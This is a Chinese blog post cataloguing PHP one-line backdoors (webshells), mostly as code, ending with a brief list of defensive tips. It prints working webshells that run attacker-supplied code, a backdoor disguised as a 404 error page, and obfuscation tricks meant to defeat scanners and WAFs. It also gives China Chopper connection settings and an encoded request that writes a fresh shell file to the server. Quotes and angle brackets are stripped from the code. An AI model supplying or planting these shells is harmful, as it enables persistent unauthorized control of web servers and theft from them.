总结那些强悍的PHP一句话后门(精选)
我们以一个学习的心态来对待这些PHP后门程序,很多PHP后门代码让我们看到程序员们是多么的用心良苦。
强悍的PHP一句话后门
这类后门让网站、服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的。今天我们细数一些有意思的PHP一句话木马。
利用404页面隐藏PHP小马:
1 !DOCTYPE HTML PUBLIC -//IETF//DTD HTML 2.0//EN
2 html head
3 title 404 Not Found /title
4 /head body
5 h1 Not Found /h1
6 p The requested URL was not found on this server. /p
7 /body /html
8 ?php
9 @preg_replace( /[pageerror]/e ,$_POST[ error ], saft );
10 header( HTTP/1.1 404 Not Found );
11 ?
404页面是网站常用的文件,一般建议好后很少有人会去对它进行检查修改,这时我们可以利用这一点进行隐藏后门。
无特征隐藏PHP一句话:
12 ?php
13 session_start();
14 $_POST[ code ] $_SESSION[ theCode ] = trim($_POST[ code ]);
15 $_SESSION[ theCode ] preg_replace( / a/ eis , e . v . a . l .(base64_decode($_SESSION[/ theCode/ ])) , a );
将$_POST[ code ]的内容赋值给$_SESSION[ theCode ],然后执行$_SESSION[ theCode ],亮点是没有特征码。用扫描工具来检查代码的话,是不会报警的,达到目的了。
超级隐蔽的PHP后门:
16 ?php $_GET[a]($_GET[b]);?
仅用GET函数就构成了木马;
利用方法:
17 ?a=assert b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。
层级请求,编码运行PHP后门:
此方法用两个文件实现,文件1
18 ?php
19 //1.php
20 header( Content-type:text/html;charset=utf-8 );
21 parse_str($_SERVER[ HTTP_REFERER ], $a);
22 if(reset($a) == 10 count($a) == 9) {
23 eval(base64_decode(str_replace( , + , implode(array_slice($a, 6)))));
24 }
文件2
25 ?php
26 //2.php
27 header( Content-type:text/html;charset=utf-8 );
28 //要执行的代码
29 $code = CODE
30 phpinfo();
31 CODE;
32 //进行base64编码
33 $code = base64_encode($code);
34 //构造referer字符串
35 $referer = a=10 b=ab c=34 d=re e=32 f=km g={$code} h= i=
36 //后门url
37 $url = http://localhost/test1/1.php
38 $ch = curl_init();
39 $options = array(
40 CURLOPT_URL = $url,
41 CURLOPT_HEADER = FALSE,
42 CURLOPT_RETURNTRANSFER = TRUE,
43 CURLOPT_REFERER = $referer
44 );
45 curl_setopt_array($ch, $options);
46 echo curl_exec($ch);
通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测。用这个思路bypass waf不错。
PHP后门生成工具weevely
weevely是一款针对PHP的webshell的自由软件,可用于模拟一个类似于telnet的连接shell,weevely通常用于web程序的漏洞利用,隐藏后门或者使用类似telnet的方式来代替web 页面式的管理,weevely生成的服务器端php代码是经过了base64编码的,所以可以骗过主流的杀毒软件和IDS,上传服务器端代码后通常可以通过weevely直接运行。
weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术,后门中所使用的函数均是常用的字符串处理函数,被作为检查规则的eval,system等函数都不会直接出现在代码中,从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描,结果显示该文件无任何威胁。
以上是大概介绍下边是截图,相关使用方法亦家就不在这介绍了,简单的科普一下。
三个变形的一句话PHP木马
第一个
47 ?php ($_=@$_GET[2]).@$_($_POST[1])?
在菜单里写http://site/1.php?2=assert密码是1
第二个
48 ?php
49 $_=
50 $_[+ ]=
51 $_= $_ .
52 $_=($_[+ ]| ).($_[+ ]| ).($_[+ ]^ );
53 ?
54 ?php ${ _ .$_}[ _ ](${ _ .$_}[ __ ]);?
在菜刀里写http://site/2.php?_=assert __=eval($_POST[ pass ]) 密码是pass。如果你用菜刀的附加数据的话更隐蔽,或者用其它注射工具也可以,因为是post提交的。
第三个
55 ($b4dboy = $_POST[ b4dboy ]) @preg_replace( /ad/e , @ .str_rot13( riny ).($b4dboy) , add );
str_rot13(‘riny’)即编码后的eval,完全避开了关键字,又不失效果,让人吐血!
最后列几个高级的PHP一句话木马后门:
56 1、
57 $hh = p . r . e . g . _ . r . e . p . l . a . c . e
58 $hh( /[discuz]/e ,$_POST[ h ], Access );
59 //菜刀一句话
60 2、
61 $filename=$_GET[ xbid ];
62 include ($filename);
63 //危险的include函数,直接编译任何文件为php格式运行
64 3、
65 $reg= c . o . p . y
66 $reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
67 //重命名任何文件
68 4、
69 $gzid = p . r . e . g . _ . r . e . p . l . a . c . e
70 $gzid( /[discuz]/e ,$_POST[ h ], Access );
71 //菜刀一句话
72 5、include ($uid);
73 //危险的include函数,直接编译任何文件为php格式运行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif
74 //gif插一句话
75 6、典型一句话
76 程序后门代码
77 ?php eval_r($_POST[sb])?
78 程序代码
79 ?php @eval_r($_POST[sb])?
80 //容错代码
81 程序代码
82 ?php assert($_POST[sb]);?
83 //使用lanker一句话客户端的专家模式执行相关的php语句
84 程序代码
85 ?$_POST[ sa ]($_POST[ sb ]);?
86 程序代码
87 ?$_POST[ sa ]($_POST[ sb ],$_POST[ sc ])?
88 程序代码
89 ?php
90 @preg_replace( /[email]/e ,$_POST[ h ], error );
91 ?
92 //使用这个后,使用菜刀一句话客户端在配置连接的时候在 配置 一栏输入
93 程序代码
94 O h=@eval_r($_POST1); /O
95 程序代码
96 script language= php @eval_r($_POST[sb]) /script
97 //绕过 ?限制的一句话
综上,这些PHP一句话后门可谓五脏俱全,一不小心您肯定中招了,而我们今天这篇文章的重中之重在哪呢?重点就在下边的总结!
如何应对PHP一句话后门:
我们强调几个关键点,看这文章的你相信不是门外汉,我也就不啰嗦了:
1,对PHP程序编写要有安全意识
2,服务器日志文件要经常看,经常备份
3,对每个站点进行严格的权限分配
4,对动态文件及目录经常批量安全审查
5,学会如何进行手工杀毒《即行为判断查杀》
6,时刻关注,或渗入活跃的网络安全营地
7,对服务器环境层级化处理,哪怕一个函数也可做规则
我们认为当管理的站点多了,数据量大时,我们应合理应用一些辅助工具,但不应完全依赖这些工具,技术是时刻在更新进步的,最为重要的是你应学会和理解,编写这些强悍后门的人所处思维,角色上的换位可为你带来更大的进步。
原创文章,作者:ItWorker,如若转载,请注明出处:https://blog.ytso.com/58268.html
phpshell程序员相关文章
- 【php】关闭PHP错误提示方法,防止错误信息泄露
- PHP官方手册研读--php的垃圾回收机制
- PHP计算时间差
- MySQL与PHP的基础与应用专题之创建数据库表
- 技术实现的网络系统PHP和MySQL结合:搭建网络系统的利器.(基于php和mysql)
- 快速访问MSSQL数据库:PHP实现(php访问mssql)
- 学习Linux开启PHP学习之旅(linux开启php)
- 使用Linux运行PHP脚本:完美实现(linux执行php脚本)
- 使用PHP实现Redis订阅功能(redis订阅php)
- OneinStack:PHP/JAVA运行环境一键安装工具
- 防止MySQL注入攻击,PHP静态解决方案(mysql防注入 php)
- 为PHP引入Redis提高数据处理效率(为什么php用redis)
- 在线竞拍系统的PHP实现框架(一)
- 令PHP初学者头疼十四条问题大总结
- 并发下常见的加锁及锁的PHP具体实现代码
- PHP开发不能违背的安全规则过滤用户输入
- PHP与Java进行通信的实现方法
- webserver使用php生成web页面的三种方法总结
- PHP实例分享判断客户端是否使用代理服务器及其匿名级别
- PHP面向对象程序设计(oop)学习笔记(五)-PHP命名空间
- php中print(),print_r(),echo()的区别详解
- Ruby、PHP、Shell实现求50以内的素数